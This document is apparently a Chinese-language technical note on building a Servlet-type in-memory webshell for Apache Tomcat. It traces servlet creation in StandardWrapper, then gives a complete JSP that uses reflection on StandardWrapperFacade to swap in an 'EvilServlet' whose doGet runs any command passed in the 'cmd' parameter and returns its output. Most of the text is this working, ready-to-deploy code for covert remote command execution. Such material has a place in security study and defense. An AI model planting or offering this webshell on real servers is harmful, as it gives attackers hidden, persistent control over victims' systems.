前言
在掌握了Listener内存马的实现后,Servlet型内存马的实现也变得很简单。此篇笔记主要讲解了构造Servlet型内存马的流程。
探究Servlet的创建流程
同样是创建一个HomeServlet,并将Class的开头与doGet()的地方打上断点
同时在web.xml中添加上
1 2 3 4 5 6 7 8
| <servlet> <servlet-name>HomeServlet</servlet-name> <servlet-class>HomeServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HomeServlet</servlet-name> <url-pattern>/home</url-pattern> </servlet-mapping>
|
运行服务器后发现 第一个断点会在访问/home
后断下,因此我们断点,servlet是在server收到请求后创建的。
在StandardWrapper
中,loadServlet()方法中创建了一个servlet
那么如果我们将this.servletClass
改成恶意Servlet,那么恶意Servlet就会被创建。
构造Servlet内存马的创建代码
现在已经知道要修改StandardWrapper中的servletClass,但要想修改,就得先获取到StandardWrapper对象。
StandardWrapper
继承了ServletConfig
,而ServletConfig
是可以直接被我们所获取得,其保存了当前Servlet的配置信息。
因此我们可以直接在jsp中进行获取。
需要注意的是,jsp中获取到的作用域都是Facade
类型(如果直接写成StandardWrapperFacade类型会报错)
1
| StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config;
|
可以发现在构造方法中,StandardWrapper类型的context被赋值给了类属性context
因此我们可以用反射的方法来获取到context
1 2 3 4 5
| StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config; Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config"); stdWrapperField.setAccessible(true); StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade);
|
获取到standardWrapper后,就可以设置相应的servlet了
1
| stdWrapper.setServlet(new EvilServlet());
|
因此完整的注册内存马代码如下
1 2 3 4 5 6 7
| <% StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config; Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config"); stdWrapperField.setAccessible(true); StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade); stdWrapper.setServlet(new EvilServlet()); %>
|
构造Servlet内存马恶意代码的构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class EvilServlet extends javax.servlet.http.HttpServlet{ @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i=0; byte[] bytes=new byte[1024]; while ((i=inputStream.read(bytes))!=-1){ resp.getWriter().write(new String(bytes,0,i)); resp.getWriter().write("\r\n"); } } }
|
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.StandardWrapperFacade" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.InputStream" %><%-- Created by IntelliJ IDEA. User: leihehe Date: 30/12/2021 Time: 09:22 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class EvilServlet extends javax.servlet.http.HttpServlet{ @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i=0; byte[] bytes=new byte[1024]; while ((i=inputStream.read(bytes))!=-1){ resp.getWriter().write(new String(bytes,0,i)); resp.getWriter().write("\r\n"); } } } %>
<% StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config; Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config"); stdWrapperField.setAccessible(true); StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade); stdWrapper.setServlet(new EvilServlet()); %>
|